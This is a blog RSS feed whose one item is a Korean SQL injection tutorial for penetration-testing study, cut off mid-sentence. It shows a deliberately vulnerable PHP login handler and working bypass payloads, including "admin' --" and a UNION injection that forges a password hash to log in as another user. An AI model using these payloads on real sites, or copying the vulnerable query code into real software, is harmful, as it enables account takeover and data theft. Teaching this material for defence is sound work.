<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel><title>Iblee Blog</title><description>&apos;안녕하세요.&apos;</description><link>https://dev.iasdf.com/</link><atom:link href="https://dev.iasdf.com/feed.xml" rel="self" type="application/rss+xml"/><pubDate>Tue, 24 Mar 2026 15:19:06 +0900</pubDate> <lastBuildDate>Tue, 24 Mar 2026 15:19:06 +0900</lastBuildDate> <generator>Jekyll v4.4.1</generator> <item><title>SQL Injection</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;p&gt;본 기술 문서는 SQL Injection 모의해킹 스터디를 위해 작성되었으며, 이를 악용해 불법적인 행위를 할 경우, 법적인 처벌을 받을 수 있음을 경고합니다.&lt;/p&gt; &lt;h1 id=&quot;개요-sql-injection-이란&quot;&gt;개요 (SQL Injection 이란?)&lt;/h1&gt; &lt;p&gt;SQL Injection은 웹 애플리케이션에서 사용자 입력값이 SQL 쿼리에 적절한 검증 없이 포함될 때 발생하는 보안 취약점이다. 공격자는 입력 필드에 악의적인 SQL 구문을 삽입하여, 개발자가 의도하지 않은 SQL 쿼리를 실행시킬 수 있다.&lt;/p&gt; &lt;p&gt;OWASP Top 10에서 꾸준히 상위권을 차지하는 대표적인 웹 취약점 중 하나이며, 성공 시 아래와 같은 피해가 발생할 수 있다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;인증 우회&lt;/strong&gt; : 로그인 인증을 우회하여 관리자 권한 획득&lt;/li&gt; &lt;li&gt;&lt;strong&gt;데이터 유출&lt;/strong&gt; : DB에 저장된 개인정보, 비밀번호 등 민감 데이터 탈취&lt;/li&gt; &lt;li&gt;&lt;strong&gt;데이터 변조/삭제&lt;/strong&gt; : DB 내 데이터를 임의로 수정하거나 삭제&lt;/li&gt; &lt;li&gt;&lt;strong&gt;시스템 명령 실행&lt;/strong&gt; : DB 서버의 OS 명령어 실행 (xp_cmdshell 등)&lt;/li&gt; &lt;li&gt;&lt;strong&gt;서버 장악&lt;/strong&gt; : DB 서버를 거점으로 내부 네트워크 침투&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;발생-원리&quot;&gt;발생 원리&lt;/h1&gt; &lt;p&gt;사용자 입력값이 SQL 쿼리 문자열에 직접 결합(concatenation)되면, 입력값 내의 SQL 구문이 쿼리의 일부로 해석된다.&lt;/p&gt; &lt;p&gt;예를 들어, 다음과 같은 로그인 쿼리가 있다고 가정한다.&lt;/p&gt; &lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;입력값&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;입력값&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;username에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&apos; --&lt;/code&gt;을 입력하면 쿼리가 다음과 같이 변한다.&lt;/p&gt; &lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;admin&apos;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;--&apos; AND password = &apos;아무값&apos;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--&lt;/code&gt;는 SQL 주석이므로 뒤의 password 조건이 무시되어, 비밀번호 없이 admin 계정으로 로그인할 수 있다.&lt;/p&gt; &lt;h3 id=&quot;상세&quot;&gt;상세&lt;/h3&gt; &lt;p&gt;아래와 같은 테이블이 있다고 가정하자.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; 테이블&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;칼럼&lt;/th&gt; &lt;th&gt;type&lt;/th&gt; &lt;th&gt;비고&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;user_number&lt;/td&gt; &lt;td&gt;int&lt;/td&gt; &lt;td&gt;primary key&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;name&lt;/td&gt; &lt;td&gt;varchar(32)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;age&lt;/td&gt; &lt;td&gt;int&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;address&lt;/td&gt; &lt;td&gt;varchar(256)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;phone&lt;/td&gt; &lt;td&gt;varchar(32)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;email&lt;/td&gt; &lt;td&gt;varchar(64)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logindata&lt;/code&gt; 테이블&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;칼럼&lt;/th&gt; &lt;th&gt;type&lt;/th&gt; &lt;th&gt;비고&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;user_number&lt;/td&gt; &lt;td&gt;int&lt;/td&gt; &lt;td&gt;FK (user 테이블의 user_number)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;id&lt;/td&gt; &lt;td&gt;varchar(32)&lt;/td&gt; &lt;td&gt;unique&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;pw&lt;/td&gt; &lt;td&gt;varchar(68)&lt;/td&gt; &lt;td&gt;(sha256 hash)&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/loginreq&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; id: &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;br/&amp;gt;&lt;/span&gt; pw: &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pw&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;br/&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Login&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;br/&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이와 같은 로그인 폼이 있을 때, 다음과 같이 로드될 수 있다.&lt;/p&gt; &lt;p&gt;id: &lt;input type=&quot;text&quot; name=&quot;id&quot; /&gt; pw: &lt;input type=&quot;password&quot; name=&quot;pw&quot; /&gt; &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;&lt;/p&gt; &lt;p&gt;이 폼에 id, pw를 입력하면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loginreq&lt;/code&gt; 로 POST 요청이 전송된다. form 내 파일이 없으므로, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt;은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/x-www-form-urlencoded&lt;/code&gt;가 된다.&lt;/p&gt; &lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/loginreq&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;test.iasdf.com&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Mozilla/5.0 ...&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;xx&lt;/span&gt; id=입력값&amp;amp;pw=입력값 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;서버에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loginreq&lt;/code&gt; 를 다음과 같은 로직으로 처리하고 있다고 가정하자. 서버의 코드는 php 언어로 작성되어 있다.&lt;/p&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mysqli_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;dbuser&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;dbpass&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;testdb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pw&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pw_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;sha256&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT user_number, pw FROM logindata WHERE id = &apos;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_fetch_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pw_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pw&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user_number&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user_number&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT name FROM user WHERE user_number = &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user_number&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_fetch_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;환영합니다, [&quot;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;] 님!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 세션 처리 및 메인페이지 접속 등 추가 로직&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;로그인 실패&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;서버의 로직은 다음과 같다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;매칭되는 ID에 대한 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pw&lt;/code&gt;를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logindata&lt;/code&gt; 테이블에서 가져온다.&lt;/li&gt; &lt;li&gt;입력된 비밀번호를 sha256 해시하여, DB에서 가져온 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pw&lt;/code&gt;와 비교한다.&lt;/li&gt; &lt;li&gt;일치하면? &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logindata&lt;/code&gt; 테이블에서 가져왔던 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt; 를 가지고 user 테이블에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;에 해당하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;을 가져와 환영 메시지를 출력한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;일치하지 않으면? &lt;ul&gt; &lt;li&gt;“로그인 실패” 메시지를 출력한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;공격자는 어떻게 SQL Injection을 이용해 인증을 우회하고 접근할 수 있을까?&lt;/p&gt; &lt;h4 id=&quot;상황-가정&quot;&gt;상황 가정.&lt;/h4&gt; &lt;p&gt;나는 우연히 이러한 취약점이 있는 사이트에 홍길동 씨가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjlover0815&lt;/code&gt; 라는 아이디를 사용하는 것을 목격해버렸다. &lt;br /&gt; 그러나 패스워드는 input 창이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;****&lt;/code&gt; 처리되어 있어 패스워드까지 엿보지는 못했다.&lt;/p&gt; &lt;p&gt;하지만, 이러한 SQL Injection 취약점이 존재할 경우, 아이디만 알고 있어도 다음과 같이 공격할 수 있다.&lt;/p&gt; &lt;p&gt;ID 입력란에 다음과 같이 입력한다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; UNION SELECT (SELECT user_number FROM logindata WHERE id=&apos;mjlover0815&apos;), &apos;9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08&apos; --&lt;/code&gt; &lt;br /&gt; Password 입력란에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;를 입력한다. &lt;br /&gt; 왜냐하면 위 UNION SQL Injection에서 주입한 비밀번호 해시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08&lt;/code&gt; 가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;의 sha256 해시값이기 때문이다.&lt;/p&gt; &lt;p&gt;이 경우 WAS에서 실행되는 전체 SQL 쿼리는 다음과 같이 진행된다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT user_number, pw FROM logindata WHERE id = &apos;&apos; UNION SELECT (SELECT user_number FROM logindata WHERE id=&apos;mjlover0815&apos;), &apos;9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08&apos; --&apos;&lt;/code&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;DB에서 ID가 ‘‘(빈값) 인 레코드의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pw&lt;/code&gt; 필드와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjlover0815&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;의 sha256 해시값이 합쳐진 결과가 반환된다.&lt;/li&gt; &lt;li&gt;그러나, ID가 ‘‘(빈값) 인 레코드는 존재하지 않으므로, 첫 번째 레코드는 무시된다.&lt;/li&gt; &lt;li&gt;따라서, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjlover0815&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;의 sha256 해시값이 반환된다.&lt;/li&gt; &lt;li&gt;우리는 test에 대한 sha256 해시값을 넣었으므로, DB에서 가져온 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pw&lt;/code&gt;와 일치하게 된다.&lt;/li&gt; &lt;li&gt;결국, 우리는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjlover0815&lt;/code&gt; 계정으로 인증을 우회하여 로그인에 성공하게 된다.&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;공격-방법&quot;&gt;공격 방법&lt;/h1&gt; &lt;h3 id=&quot;union-sql-injection&quot;&gt;UNION SQL Injection&lt;/h3&gt; &lt;p&gt;하지만, 문제가 있다. &lt;br /&gt; 방금 사례에서는 웹서버 소스코드를 정확히 알고 있었기에 어떤 공격을 해야 하는지 알 수 있었다. &lt;br /&gt; 그러나, 실제로 웹 사이트를 공격할 때에는 웹서버 소스코드를 알 수 없는 경우가 대부분이다. &lt;br /&gt; 따라서, 공격자는 다양한 SQL Injection 페이로드를 시도하여 SQL 공격 구문이 무엇인지를 예측해야 한다.&lt;/p&gt; &lt;p&gt;그럼 어떻게 이러한 공격을 시도해볼 수 있을까?&lt;/p&gt; &lt;p&gt;본 섹션에서는 SQL Injection 공격에 대해 MySQL 데이터베이스를 기준으로 설명한다. &lt;br /&gt; MySQL 외에도 MSSQL, Oracle, PostgreSQL 등 다양한 DBMS가 존재하며, 각 DBMS에 따라서 공격 구문이 다를 수 있음에 유의해야 한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select user_number, name, email from user where phone = &apos;입력값&apos;&lt;/code&gt; 인 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;우선 &lt;strong&gt;항등원&lt;/strong&gt;으로 공격을 시도해, SQL Injection이 되는지 확인해야 한다. &lt;ul&gt; &lt;li&gt;항등원: 임의의 수에 어떤 수를 연산을 해 주었는데 연산 결과가 연산 전과 항상 같을 때 어떤 수를 그 연산에 대한 항등원이라 한다.&lt;/li&gt; &lt;li&gt;예를 들어, 나의 ID가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&lt;/code&gt; 라고 가정할 때, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; AND 